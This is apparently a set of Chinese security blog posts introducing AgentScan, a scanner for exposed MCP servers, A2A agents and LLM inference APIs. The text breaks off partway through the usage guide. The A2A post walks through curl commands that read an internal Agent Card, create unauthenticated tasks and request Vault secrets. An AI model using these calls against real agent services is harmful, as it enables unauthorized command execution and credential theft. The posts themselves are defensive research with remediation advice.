[{"content":"最近我发现一个现象：大量 Agent 服务已经挂在公网和内网上了，但我们平时用的那些扫描工具，扫到也就是\u0026quot;哦，8000 端口开了个 HTTP\u0026quot;，然后就没了。\n但这个 HTTP 后面跑的可能是个 MCP Server，挂着文件读写、Shell 执行、数据库查询的能力；也可能有几个 A2A Agent 在内网默默运行，互相调用，没有任何鉴权。这些东西传统扫描器根本识别不了，但危害比一个裸奔的 Ollama 大得多。\n找了一圈，网上没有现成的工具能扫这一层，干脆自己写了一个：AgentScan\nMCP：不是漏洞，是直接送你一套高权限工具箱 先说 MCP，这是我认为目前最被低估的攻击面。\nMCP 本质上就是给 LLM 调工具用的协议——文件操作、命令执行、数据库查询、API 调用，只要注册成 tool，模型就能直接调用。问题在于，你不需要是个 LLM 也能调这些 tool。MCP 协议本身没有强制鉴权机制，只要你能跟它建立连接、发一个 tools/list 请求，对面就老老实实把所有能力都告诉你了。\n开发者本地调试完顺手 0.0.0.0 一绑，或者测试环境直接端口映射出来，认证什么的根本没加。而它上面挂着的可能是：\nfilesystem → 任意文件读写，配置、密钥、源码随便看 shell / exec → 直接 RCE，不需要找漏洞，服务本身就提供命令执行 database / postgres / mysql → 业务数据直接查，不用注入 git → 代码仓库访问，commit history、分支、凭证 kubernetes / docker → 容器编排操作，横向移动的起手式 想想看，传统渗透要拿 RCE 得找反序列化、找注入、找文件上传……现在有个 MCP 直接把 shell tool 摆在那了，调一下就行。这不是漏洞利用，这是\u0026quot;功能滥用\u0026quot;，但效果完全一样。\n我在 Quake 上搜了一下 app:\u0026quot;Model Context Protocol\u0026quot;，大概有 29803 条结果。这数字不一定精确，但足以说明 MCP 已经不是\u0026quot;本地玩玩\u0026quot;的东西了——有大量实例直接暴露在公网上。\n更关键的是内网场景。现在企业内部，数据团队用 MCP 连数据库做分析，研发用 MCP 连 Git 做代码 review，运维用 MCP 连 K8s 做集群管理——这些全是高权限服务，一旦在内网被发现，基本就是一步到位。\nA2A：内网里的隐藏入口和横向通道 A2A（Agent-to-Agent）这个东西更隐蔽一些。目前公网上的量不大，但在内网渗透场景中非常有价值。\n它的核心是 Agent Card，一般放在以下路径：\n/.well-known/agent-card.json /.well-known/agent.json /agent.json Agent Card 相当于 Agent 的\u0026quot;名片\u0026quot;，里面会写清楚这个 Agent 能干什么（skills）、怎么调用（endpoint）、谁提供的（provider）。这些信息对红队来说价值巨大：\n第一，它暴露了内部能力图谱。 一个 Agent Card 里写着 skills: [\u0026quot;query-customer-db\u0026quot;, \u0026quot;send-notification\u0026quot;, \u0026quot;create-jira-ticket\u0026quot;]，你就知道这个 Agent 背后连着客户数据库、通知系统和项目管理平台。不用猜，它自己全告诉你了。\n第二，它可能泄露内网拓扑。 endpoint 字段经常会出现内网 IP、内部域名、非标端口。我见过直接写 http://10.0.3.45:8080/agent/invoke 的，等于直接告诉你内网还有哪些服务在跑。\n第三，A2A 天然就是横向移动的通道。 Agent 之间本来就是互相调用的关系——Agent A 调 Agent B 处理任务，Agent B 再调 Agent C。如果你能冒充一个 Agent（或者直接调用一个没鉴权的 Agent），就能顺着这条链路在内网横向移动。这跟传统的\u0026quot;拿下一台机器然后找下一跳\u0026quot;的思路不同，这里横向走的是业务逻辑链路，防守方更难察觉。\n在 Quake 上搜 body:\u0026quot;agent-card.json\u0026quot; 大概有 1401 条结果。数量不多，但 A2A 的价值不在量——你在内网找到一个，可能就能顺着摸出一整条 Agent 调用链。\nLLM API：顺带看看就行 Ollama、vLLM 这些就不展开了，大家应该都见过。内网里更多是资产管理的问题——CMDB 里找不到它，安全团队不知道它存在，但它可能正在处理敏感数据。\nAgentScan 目前能识别 Ollama、vLLM、SGLang、TGI、llama.cpp、Xinference、LiteLLM、FastChat、LocalAI、LM Studio、LMDeploy 等框架，通过只读接口做指纹识别，不会发送推理请求。这块算是锦上添花，核心价值还是在 MCP 和 A2A 的探测上，后续会持续补充更多框架。\n内网实战流程 下面说一下我在授权测试中的实际做法：\n第一步， 先用 fscan 把存活端口拉出来：\nfscan -h 192.168.1.0/24 -o fscan.txt 第二步， 把 HTTP 端口整理成目标清单：\n192.168.1.10:8000 192.168.1.23:11434 192.168.1.88:7860 第三步， 丢给 AgentScan 做二次识别：\nagentscan scan -f targets.txt --skip-port-scan -o results.json 跑完之后重点关注两类结果：\nMCP 发现：直接看 tool 列表，有 shell / filesystem / database 相关的优先跟进——这些基本等于直接拿权限 A2A 发现：看 Agent Card 里的 skills 和 endpoint，顺着内网地址和调用链继续探测 关于 AgentScan Go 写的命令行工具，功能不复杂，干的事情比较专一：\nMCP 探测：支持 Streamable HTTP 和 SSE Legacy 两种传输方式，自动发 tools/list 解析工具列表和权限 A2A 探测：抓取 Agent Card，解析 skills、provider、endpoint，检查是否存在私网地址泄露 LLM API 识别：内置 25 个推理框架的指纹模板 报告输出：支持 JSON 和 HTML 两种格式 git clone https://github.com/7anX/AgentScan cd AgentScan go build -o agentscan . 常用命令：\n# 推荐：对已有资产清单做二次识别 agentscan scan -f targets.txt --skip-port-scan -o results.json # 小范围直接扫 agentscan scan 192.168.1.0/24 # 只看 MCP agentscan mcp 192.168.1.0/24 我从候选目标中随机抽了 50 个做验证——发现 15 个无鉴权 MCP，总共暴露 116 个可调用 tool；1 个 A2A 服务；9 个裸奔的 LLM 平台。重点是那 15 个 MCP 里有好几个挂着 filesystem 和 shell tool，等于直接送 RCE。\n最后 MCP 和 A2A 这层暴露面目前基本没人在管——开发者不觉得是安全问题，安全团队不知道它的存在。但它的危害一点不比传统漏洞小，甚至更直接：不需要绕 WAF、不需要找注入点、不需要提权，服务本身就是高权限的。\n工具已经开源，有想法欢迎提 issue、补指纹，顺手 Star 一下就更好了。\nGitHub：https://github.com/7anX/AgentScan\n以上内容仅限合法授权场景，请勿用于未授权的扫描行为。\n","permalink":"https://7anX.github.io/agentscan/agentscan-why/","summary":"\u003cp\u003e最近我发现一个现象：大量 Agent 服务已经挂在公网和内网上了，但我们平时用的那些扫描工具，扫到也就是\u0026quot;哦，8000 端口开了个 HTTP\u0026quot;，然后就没了。\u003c/p\u003e","title":"为什么要做 AgentScan：那些扫描器看不见的攻击面"},{"content":"A2A（Agent-to-Agent）是 Google 在 2025 年推出的协议，目标是让 AI Agent 之间能够互相发现、互相调用。它的核心机制是 Agent Card，一个描述 Agent 能力的 JSON 文档，挂在固定路径上供其他 Agent 读取。\nA2A 的暴露面问题和 MCP 有相似之处，但也有自己的特点。核心区别在于：A2A 的设计里有一部分信息本来就是要公开的，但\u0026quot;哪些信息该公开\u0026quot;这条线很容易划错。\nA2A 协议基础 A2A 的发现机制基于 Agent Card，一个 JSON 文档，通常挂在：\n/.well-known/agent.json /.well-known/agent-card.json /agent.json 一张典型的 Agent Card：\n{ \u0026#34;name\u0026#34;: \u0026#34;DataPipeline Agent\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Processes and transforms data pipelines\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;1.0.0\u0026#34;, \u0026#34;url\u0026#34;: \u0026#34;https://agent.example.com/a2a\u0026#34;, \u0026#34;provider\u0026#34;: { \u0026#34;organization\u0026#34;: \u0026#34;Example Corp\u0026#34;, \u0026#34;url\u0026#34;: \u0026#34;https://example.com\u0026#34; }, \u0026#34;capabilities\u0026#34;: { \u0026#34;streaming\u0026#34;: true, \u0026#34;pushNotifications\u0026#34;: false }, \u0026#34;skills\u0026#34;: [ { \u0026#34;id\u0026#34;: \u0026#34;run_pipeline\u0026#34;, \u0026#34;name\u0026#34;: \u0026#34;Run Pipeline\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Execute a data pipeline by name\u0026#34; } ], \u0026#34;securitySchemes\u0026#34;: { \u0026#34;bearerAuth\u0026#34;: { \u0026#34;type\u0026#34;: \u0026#34;http\u0026#34;, \u0026#34;scheme\u0026#34;: \u0026#34;bearer\u0026#34; } }, \u0026#34;security\u0026#34;: [{\u0026#34;bearerAuth\u0026#34;: []}] } 获取卡片之后，A2A Client 会向卡片里的 url 字段发起 JSON-RPC 请求来创建任务、查询状态。\n暴露面问题 1. Agent Card 是公开发现的入口，但很多部署没意识到\u0026quot;公开\u0026quot;的代价 A2A 规范把 /.well-known/agent.json 设计成公开可读的路径，类比 /.well-known/openid-configuration。但这意味着任何人都能不带认证直接读取卡片内容。\n当 Agent Card 被部署到内网 Agent 上时，如果服务被映射到公网（NAT、反向代理、云服务器配置错误），卡片就跟着暴露了。\n2. 卡片里的 skills 直接暴露能力 skills 是 Agent 暴露给其他 Agent 的功能单元。问题在于 skill 的名称和描述往往直接反映了 Agent 背后挂着什么：\n\u0026#34;skills\u0026#34;: [ {\u0026#34;id\u0026#34;: \u0026#34;query_internal_db\u0026#34;, \u0026#34;name\u0026#34;: \u0026#34;Query Internal Database\u0026#34;}, {\u0026#34;id\u0026#34;: \u0026#34;deploy_service\u0026#34;, \u0026#34;name\u0026#34;: \u0026#34;Deploy Microservice to K8s\u0026#34;}, {\u0026#34;id\u0026#34;: \u0026#34;access_user_records\u0026#34;, \u0026#34;name\u0026#34;: \u0026#34;Access User PII Records\u0026#34;}, {\u0026#34;id\u0026#34;: \u0026#34;send_internal_alert\u0026#34;, \u0026#34;name\u0026#34;: \u0026#34;Send Internal Alert\u0026#34;}, {\u0026#34;id\u0026#34;: \u0026#34;manage_secrets\u0026#34;, \u0026#34;name\u0026#34;: \u0026#34;Manage Secret Store\u0026#34;} ] 这些 skill 名字不是抽象描述，而是直接反映了 Agent 能做什么、后面连着什么系统。从攻击者角度看，这比 MCP tools/list 还直接——只要读一个 GET 请求，不需要任何认证，就拿到了完整的能力清单。\n3. url 字段暴露内部 JSON-RPC 端点 Agent Card 里的 url 字段是 JSON-RPC 端点地址，A2A Client 用它来发任务。\n问题是当 Card 公开但 JSON-RPC 没有保护时，任何人都可以：\n读 Card，拿到 url 直接向这个 url 发 JSON-RPC 请求 调用 skill、创建任务 更糟糕的情况：url 字段里写的是内网地址：\n{ \u0026#34;url\u0026#34;: \u0026#34;http://10.100.5.23:8080/a2a\u0026#34; } 这就变成了 SSRF 辅助信息——攻击者已经知道有这个内网服务存在，以及它的地址和端口。\n4. extensions 字段的过度暴露 A2A 规范允许扩展字段，一些实现里会把额外信息写进去：\n{ \u0026#34;x-internal\u0026#34;: { \u0026#34;deployRegion\u0026#34;: \u0026#34;us-east-1\u0026#34;, \u0026#34;serviceAccount\u0026#34;: \u0026#34;agent-prod@project.iam.gserviceaccount.com\u0026#34;, \u0026#34;dependsOn\u0026#34;: [\u0026#34;postgres-prod\u0026#34;, \u0026#34;redis-cache\u0026#34;, \u0026#34;s3-bucket-internal\u0026#34;] } } 这些扩展字段会把内部基础设施信息直接写进公开文档。\n5. 无认证的 JSON-RPC 端点 Agent Card 的 securitySchemes 和 security 字段只是声明，不是保证。\n扫描时常见的模式是：\nCard 里写了 bearerAuth 认证要求 但实际的 JSON-RPC 端点没有校验 token 或者只校验了 tasks/send 但没校验 tasks/get 和 tasks/list 这种不一致的认证实现比完全不认证更难发现，因为卡片声明了\u0026quot;我有认证\u0026quot;，但实际端点是开的。\n6. 跨主机接口 有些 Agent Card 里会声明来自不同主机的 interfaces：\n{ \u0026#34;additionalInterfaces\u0026#34;: [ {\u0026#34;transport\u0026#34;: \u0026#34;grpc\u0026#34;, \u0026#34;url\u0026#34;: \u0026#34;grpc://internal-agent-grpc:50051\u0026#34;}, {\u0026#34;transport\u0026#34;: \u0026#34;websocket\u0026#34;, \u0026#34;url\u0026#34;: \u0026#34;ws://ws-agent.internal:9090/ws\u0026#34;} ] } 这些内部地址暴露了整个 Agent 集群的网络拓扑，是很好的侦察材料。\n攻击链：一个 GET 请求之后 A2A 暴露面的危险在于\u0026quot;入口门槛极低\u0026quot;。不需要做协议握手，不需要构造 JSON-RPC，一个 GET 请求，卡片就在那里。\nStep 1：找到 Agent Card\ncurl -s http://10.0.8.77:8080/.well-known/agent.json 响应：\n{ \u0026#34;name\u0026#34;: \u0026#34;InfraAgent\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Internal infrastructure automation agent\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;1.2.0\u0026#34;, \u0026#34;url\u0026#34;: \u0026#34;http://10.0.8.77:8080/a2a\u0026#34;, \u0026#34;provider\u0026#34;: { \u0026#34;organization\u0026#34;: \u0026#34;Ops Team\u0026#34; }, \u0026#34;capabilities\u0026#34;: {\u0026#34;streaming\u0026#34;: false}, \u0026#34;skills\u0026#34;: [ {\u0026#34;id\u0026#34;: \u0026#34;deploy_service\u0026#34;, \u0026#34;name\u0026#34;: \u0026#34;Deploy Service to Kubernetes\u0026#34;}, {\u0026#34;id\u0026#34;: \u0026#34;scale_deployment\u0026#34;, \u0026#34;name\u0026#34;: \u0026#34;Scale Kubernetes Deployment\u0026#34;}, {\u0026#34;id\u0026#34;: \u0026#34;exec_in_pod\u0026#34;, \u0026#34;name\u0026#34;: \u0026#34;Execute Command in Pod\u0026#34;}, {\u0026#34;id\u0026#34;: \u0026#34;get_secrets\u0026#34;, \u0026#34;name\u0026#34;: \u0026#34;Retrieve Secret from Vault\u0026#34;}, {\u0026#34;id\u0026#34;: \u0026#34;rotate_credentials\u0026#34;, \u0026#34;name\u0026#34;: \u0026#34;Rotate Service Credentials\u0026#34;} ], \u0026#34;securitySchemes\u0026#34;: { \u0026#34;bearerAuth\u0026#34;: {\u0026#34;type\u0026#34;: \u0026#34;http\u0026#34;, \u0026#34;scheme\u0026#34;: \u0026#34;bearer\u0026#34;} }, \u0026#34;security\u0026#34;: [{\u0026#34;bearerAuth\u0026#34;: []}] } bearerAuth 写在卡片里，看起来有认证。\n卡片还给了另外两条信息：url 是 http://10.0.8.77:8080/a2a（内网地址，直接告诉攻击者 JSON-RPC 端点在哪），skills 名字直接写出了\u0026quot;操作 Kubernetes\u0026quot;、\u0026ldquo;从 Vault 取 secret\u0026rdquo;。\nStep 2：验证认证是否真实存在\nCard 声明了 bearerAuth，但端点有没有真正校验？不带 token 发一个请求：\ncurl -s -X POST http://10.0.8.77:8080/a2a \\ -H \u0026#34;Content-Type: application/json\u0026#34; \\ -d \u0026#39;{\u0026#34;jsonrpc\u0026#34;:\u0026#34;2.0\u0026#34;,\u0026#34;id\u0026#34;:1,\u0026#34;method\u0026#34;:\u0026#34;tasks/send\u0026#34;,\u0026#34;params\u0026#34;:{\u0026#34;id\u0026#34;:\u0026#34;task-001\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;user\u0026#34;,\u0026#34;parts\u0026#34;:[{\u0026#34;type\u0026#34;:\u0026#34;text\u0026#34;,\u0026#34;text\u0026#34;:\u0026#34;list pods in default namespace\u0026#34;}]}}}\u0026#39; 响应：\n{ \u0026#34;result\u0026#34;: { \u0026#34;id\u0026#34;: \u0026#34;task-001\u0026#34;, \u0026#34;status\u0026#34;: {\u0026#34;state\u0026#34;: \u0026#34;working\u0026#34;}, \u0026#34;artifacts\u0026#34;: [] } } 没有 401，没有 403。卡片里的认证声明是文档，不是保护。\nStep 3：调用高危 skill\n任务创建成功，轮询状态直到完成：\ncurl -s -X POST http://10.0.8.77:8080/a2a \\ -H \u0026#34;Content-Type: application/json\u0026#34; \\ -d \u0026#39;{\u0026#34;jsonrpc\u0026#34;:\u0026#34;2.0\u0026#34;,\u0026#34;id\u0026#34;:2,\u0026#34;method\u0026#34;:\u0026#34;tasks/get\u0026#34;,\u0026#34;params\u0026#34;:{\u0026#34;id\u0026#34;:\u0026#34;task-001\u0026#34;}}\u0026#39; 响应：\n{ \u0026#34;result\u0026#34;: { \u0026#34;id\u0026#34;: \u0026#34;task-001\u0026#34;, \u0026#34;status\u0026#34;: {\u0026#34;state\u0026#34;: \u0026#34;completed\u0026#34;}, \u0026#34;artifacts\u0026#34;: [ { \u0026#34;parts\u0026#34;: [ { \u0026#34;type\u0026#34;: \u0026#34;text\u0026#34;, \u0026#34;text\u0026#34;: \u0026#34;NAME\\t\\t\\t\\tREADY\\tSTATUS\\tRESTARTS\\n------\\napplication-pod-7d9f\\t1/1\\tRunning\\t0\\npayment-service-4b2c\\t1/1\\tRunning\\t0\\nauth-service-8e1a\\t1/1\\tRunning\\t0\\n...\u0026#34; } ] } ] } } 已经在操作 Kubernetes 集群。继续发任务调用 get_secrets：\ncurl -s -X POST http://10.0.8.77:8080/a2a \\ -H \u0026#34;Content-Type: application/json\u0026#34; \\ -d \u0026#39;{\u0026#34;jsonrpc\u0026#34;:\u0026#34;2.0\u0026#34;,\u0026#34;id\u0026#34;:3,\u0026#34;method\u0026#34;:\u0026#34;tasks/send\u0026#34;,\u0026#34;params\u0026#34;:{\u0026#34;id\u0026#34;:\u0026#34;task-002\u0026#34;,\u0026#34;message\u0026#34;:{\u0026#34;role\u0026#34;:\u0026#34;user\u0026#34;,\u0026#34;parts\u0026#34;:[{\u0026#34;type\u0026#34;:\u0026#34;text\u0026#34;,\u0026#34;text\u0026#34;:\u0026#34;get secret db-credentials from vault\u0026#34;}]}}}\u0026#39; 整个过程：一个 GET + 三个 POST，没有任何凭证，没有利用任何漏洞。\n和 MCP 相比，A2A 的起点门槛更低——MCP 需要先做 initialize 握手确认服务存在，A2A 一个 GET 就能把能力清单、内网地址、JSON-RPC 端点全部拿到。卡片设计本身是为了\u0026quot;方便发现\u0026quot;，这个目标和\u0026quot;安全部署\u0026quot;之间的矛盾，在很多实现里没有被认真处理。\n和 MCP 暴露面的对比 维度 MCP A2A 发现方式 需要做 HTTP 探测 + 路径枚举 + 协议握手 GET /.well-known/agent.json 一个请求 能力信息获取 需要 tools/list（no-auth 才行） 卡片直接包含 skills，不需要认证 认证设计 规范未强制，完全可选 规范有认证框架，但卡片获取本身无认证 内网地址泄露 通过 SSE endpoint event 路径泄露 通过 Card url / additionalInterfaces 直接写明 主要风险 工具被调用，数据被读取 信息侦察，JSON-RPC 端点被直接访问 A2A 的暴露面在发现阶段比 MCP 低门槛——一个 GET 请求就能拿到 Agent 的完整能力声明。但真正的风险在后面：能不能直接调用 JSON-RPC 端点。\n实际情况 用搜索引擎搜 \u0026quot;/.well-known/agent.json\u0026quot; 或 \u0026quot;skills\u0026quot; \u0026quot;securitySchemes\u0026quot; 能找到一些公开索引的 Agent Card。多数是 Demo 或开放 API，但也有一些看起来是误暴露的内部 Agent——skill 名称里能看出是内部业务系统。\n怎么检查 用 AgentScan 扫内网：\nagentscan a2a 10.0.0.0/16 -o a2a-results.json 它会检查：\nAgent Card 是否可公开读取 skills 和 interfaces 内容 JSON-RPC 端点是否无认证可达 Card 里是否包含私网地址 是否存在扩展字段信息泄露 具体探测逻辑见《AgentScan 工作原理》。\n修复建议 JSON-RPC 端点加认证：Card 声明了认证要求，端点也要真正校验，不能只声明不实现。 Card 里不要写内网 URL：url 和 additionalInterfaces 里只写公网可访问的地址，内网地址不要出现在公开文档里。 skills 名称和描述不要暴露内部系统名：面向公开 Agent 发现的 skill 描述应该是功能描述，不是内部实现细节。 不要把内部 Agent 的 Card 路径暴露到公网：内网 Agent 应该只在内网可访问，防火墙规则要配对。 审查 extensions 字段：扩展字段里不要写 serviceAccount、内部 IP、依赖服务名等信息。 上一篇：MCP 暴露面的安全问题\n下一篇：AgentScan 使用说明，如何用 AgentScan 扫出这些问题。\n","permalink":"https://7anX.github.io/security-research/a2a-attack-surface/","summary":"\u003cp\u003eA2A（Agent-to-Agent）是 Google 在 2025 年推出的协议，目标是让 AI Agent 之间能够互相发现、互相调用。它的核心机制是 Agent Card，一个描述 Agent 能力的 JSON 文档，挂在固定路径上供其他 Agent 读取。\u003c/p\u003e","title":"A2A 暴露面的安全问题"},{"content":"知道 MCP 和 A2A 有什么暴露面问题之后，接下来的问题是：怎么系统地找出来。这篇讲 AgentScan 是怎么做的。\n流水线概览 目标解析 ↓ TCP 端口扫描 ↓ HTTP/HTTPS 可达性过滤 ↓ 协议探测（MCP / A2A / LLM 并行） ↓ 只读能力枚举 ↓ 报告生成（terminal / JSON / HTML） 每一层的输出是下一层的输入。端口扫描过滤掉不可达的目标，HTTP 过滤过滤掉非 HTTP 服务，协议探测在剩余候选上做指纹识别。\n目标解析 支持格式：IP、CIDR、IP range、domain、host:port、URL。\n192.168.1.1 10.0.0.0/24 10.0.0.1-10.0.0.50 example.com example.com:8000 https://api.example.com/mcp URL 输入会保留 scheme、port 和 path。https://api.example.com/mcp 会：\n优先探测 /mcp 路径 在 HTTPS 上做 SNI（用 hostname） 如果 /mcp 没命中，再试内置路径字典 这对反向代理或自定义挂载路径很有用——如果你知道服务挂在哪，可以直接告诉 AgentScan。\nTCP 端口扫描 用 Go 标准库做并发 TCP 连接，默认并发 500，超时 2000ms。\n端口字典是分协议的：\nMCP 端口字典（框架默认端口、常见开发端口） A2A 端口字典 LLM 端口字典（Ollama 11434、vLLM 8000 等） scan 命令会取三个字典的并集。--skip-port-scan 跳过这一层，把输入直接当作已开放的 host:port。\nHTTP/HTTPS 过滤 TCP 开放之后，AgentScan 做一次 HTTP 连接尝试：\n根据端口推断 scheme：443、8443 默认 HTTPS；其他端口先试 HTTP，失败再试 HTTPS 记录 Server 和 Content-Type 响应头 过滤掉无法以 HTTP 连通的端口 这一层的目的是在进入协议探测之前减少候选数量。一个开放的 22 端口（SSH）不需要进 MCP 探测。\nMCP 探测 这是 AgentScan 里最复杂的部分。原因是 MCP 有两套传输协议，而且指纹识别不是简单字符串匹配。\n两种传输 Streamable HTTP（2025-03-26 规范）：\n直接 POST initialize 到候选路径：\nPOST /mcp HTTP/1.1 Content-Type: application/json Accept: application/json, text/event-stream {\u0026#34;jsonrpc\u0026#34;:\u0026#34;2.0\u0026#34;,\u0026#34;id\u0026#34;:1,\u0026#34;method\u0026#34;:\u0026#34;initialize\u0026#34;,\u0026#34;params\u0026#34;:{\u0026#34;protocolVersion\u0026#34;:\u0026#34;2025-06-18\u0026#34;,\u0026#34;capabilities\u0026#34;:{},\u0026#34;clientInfo\u0026#34;:{\u0026#34;name\u0026#34;:\u0026#34;agentscan\u0026#34;,\u0026#34;version\u0026#34;:\u0026#34;1.0\u0026#34;}}} 响应可以是 JSON 或 SSE 流（规范都允许）。\nHTTP+SSE legacy（2024-11-05 规范）：\n分两步：\nGET \u0026lt;sse_path\u0026gt;，建立 SSE 长连接，等待 endpoint event 从 event data 里拿到 POST 路径，再 POST initialize 响应通过 SSE 流推回来 GET /sse data: /messages/?session_id=abc123 ↓ POST /messages/?session_id=abc123 ↓ SSE stream: {...initialize response...} AgentScan 对每个候选路径并发尝试两种传输，优先返回 no-auth 命中。\n指纹评分 找到响应之后，AgentScan 不是做字符串匹配，而是组合评分：\n信号 分值 result.protocolVersion 存在 +0.2 result.capabilities 含 MCP 特有 key（tools、resources、prompts、sampling） +0.3 result.serverInfo.name 存在 +0.1 Mcp-Session-Id 或 Mcp-Protocol-Version 响应头 兜底确认 LSP（Language Server Protocol）排除机制：如果 capabilities 里出现 LSP 特有 key（textDocumentSync、hoverProvider 等），直接返回 0，避免把 LSP 当 MCP。\n原因是 MCP 和 LSP 都是 JSON-RPC，响应结构类似，如果没有 LSP 排除，会有误报。\n阈值 0.35。低于阈值的响应不报告。\nno-auth 判断 状态码 200 且指纹评分过阈值 → no-auth。\n4xx 响应会做进一步分析：\n有 Mcp-Session-Id / Mcp-Protocol-Version 响应头 + 401/403 → auth-required 响应体含 \u0026quot;jsonrpc\u0026quot; 且有 \u0026quot;error\u0026quot; 字段 + 401/403 → auth-required 其他 4xx → 不报告 这区分了\u0026quot;MCP Server 在但需要认证\u0026quot;和\u0026quot;不是 MCP 服务\u0026quot;。\n只读枚举 确认 no-auth 后，执行：\ntools/list resources/list resources/templates/list prompts/list 不调用 tools/call，不写远端资源。AgentScan 是只读的。\n蜜罐信号 两个场景会记录 honeypot signal：\n发送无效协议版本（随机字符串），服务器依然接受 两次 initialize 返回相同 Session ID 这些信号不过滤结果，用 --exclude-honeypots 才过滤。\nA2A 探测 A2A 的探测比 MCP 简单，核心是 GET Agent Card，然后做多维度评分。\n获取 Agent Card 优先尝试：\n/.well-known/agent.json /.well-known/agent-card.json /agent.json 如果用户输入了 URL path，会基于该 path 推导 card 路径（比如 /agents/my-agent 会尝试 /agents/my-agent/.well-known/agent.json）。\n指纹评分 解析 JSON 之后做多维度评分，信号包括：\nname 字段存在（Agent 名称） url 字段是有效 URL skills 数组非空 capabilities 对象存在 securitySchemes / security 字段 响应 Content-Type 是 application/json 路径是 .well-known 路径 有负面信号会跳过：比如响应里同时有明显的非 A2A 标志（比如 OpenID 配置字段）。\n置信度阈值两档：\nconfirmed（≥ 0.65）：直接报告 probable（≥ 0.45）：只在 --include-probable 时报告 JSON-RPC 可达性检查 拿到 Card 里的 url 字段之后，AgentScan 做轻量状态探测：\n向 url 发一个最小 JSON-RPC 请求 判断响应是 200 no-auth、4xx auth-required、连接失败、还是端点关闭 同时检查：\n私网地址泄露（Card 里的 url 或 additionalInterfaces 包含 RFC 1918 地址） 跨主机接口（Card 里声明了不同主机的接口地址） 这两类检查对应 A2A 文章 里讲的内网地址泄露问题。\nLLM 推理 API 探测 LLM 模块用 YAML 模板驱动，内置覆盖了主流框架：Ollama、vLLM、SGLang、TGI、llama.cpp、Xinference、LiteLLM、FastChat、LocalAI、LM Studio、LMDeploy。\n模板结构 info: name: ollama severity: high priority: 50 http: - method: GET path: /api/tags matchers: - \u0026#39;status == 200 \u0026amp;\u0026amp; json.has(\u0026#34;models\u0026#34;)\u0026#39; models: - method: GET path: /api/tags extractor: part: body type: json_array json_path: models[*].name auth: endpoint: /api/tags open_status: [200] auth_status: [401, 403] 模板可以定义：\n一阶段 HTTP matcher（判断是不是这个框架） 二阶段确认探测（减少误报） 版本提取 模型列表提取 认证状态判断 negative matcher（排除相似但不是的服务） priority（多框架歧义时谁优先） 自定义模板 agentscan llm example.com --template-dir ./my-templates 同名 info.name 会覆盖内置模板。如果有内部 LLM Gateway 或私有推理框架，可以写自己的模板。\n输出 三种格式：\nterminal：适合现场看，带 ANSI 颜色，按协议分块输出，no-auth 高亮。\nJSON：机器可读，包含完整 evidence 字段（指纹信号、HTTP 状态、响应头），适合自动化处理和二次分析。\nHTML/TXT：适合报告和交付，scan 命令自动生成，按 MCP/A2A/LLM 分 tab。\nJSON 的 evidence 字段设计目标是让结果可复现——不只输出\u0026quot;命中\u0026quot;，还输出是什么信号让它命中，支持人工二次确认。\n前置阅读：MCP 暴露面的安全问题 · A2A 暴露面的安全问题\n如何用 AgentScan 扫你的环境：使用说明\n","permalink":"https://7anX.github.io/agentscan/agentscan-architecture/","summary":"\u003cp\u003e知道 \u003ca href=\"/security-research/mcp-attack-surface/\"\u003eMCP\u003c/a\u003e 和 \u003ca href=\"/security-research/a2a-attack-surface/\"\u003eA2A\u003c/a\u003e 有什么暴露面问题之后，接下来的问题是：怎么系统地找出来。这篇讲 AgentScan 是怎么做的。\u003c/p\u003e\n\u003ch2 id=\"流水线概览\"\u003e流水线概览\u003c/h2\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-text\" data-lang=\"text\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e目标解析\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  ↓\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eTCP 端口扫描\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  ↓\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eHTTP/HTTPS 可达性过滤\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  ↓\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e协议探测（MCP / A2A / LLM 并行）\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  ↓\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e只读能力枚举\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  ↓\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e报告生成（terminal / JSON / HTML）\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e每一层的输出是下一层的输入。端口扫描过滤掉不可达的目标，HTTP 过滤过滤掉非 HTTP 服务，协议探测在剩余候选上做指纹识别。\u003c/p\u003e","title":"AgentScan 工作原理：如何识别 MCP、A2A 和 LLM"},{"content":"前两篇文章讲了 MCP 和 A2A 的暴露面问题。这篇讲怎么用 AgentScan 在实际环境里找出这些问题。\nAgentScan 不是通用端口扫描器的套壳，它直接面向 MCP、A2A 和 LLM 推理 API 的协议层做识别。扫到\u0026quot;端口开着\u0026quot;是起点，不是终点——它继续往下做协议握手、能力枚举，输出认证状态和证据。\n安装 git clone https://github.com/7anX/AgentScan cd AgentScan go build -o agentscan . Windows：\ngo build -o agentscan.exe . .\\agentscan.exe --help 依赖 Go 1.21+，没有外部运行时依赖，编译出来是单个二进制。\n命令结构 agentscan scan # MCP + A2A + LLM 全协议扫描（推荐） agentscan mcp # 只扫 MCP agentscan a2a # 只扫 A2A Agent Card agentscan llm # 只扫 LLM 推理 API scan 是最常用的。它复用端口扫描结果，一次跑完三类协议探测。\n目标格式 192.168.1.1 192.168.1.0/24 10.0.0.1-10.0.0.255 example.com 